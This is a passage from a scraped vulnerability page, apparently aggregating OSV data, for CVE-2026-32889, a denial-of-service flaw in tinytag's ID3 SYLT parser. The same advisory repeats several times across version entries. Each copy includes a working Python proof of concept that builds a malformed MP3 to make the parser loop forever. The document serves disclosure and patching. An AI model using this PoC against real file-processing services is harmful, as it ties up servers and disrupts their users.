    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 13, 2019

1.1.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 13, 2019

1.0.1 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 13, 2019

1.0.0 major

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 12, 2018

0.20.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 04, 2018

0.18.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 29, 2017

0.17.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

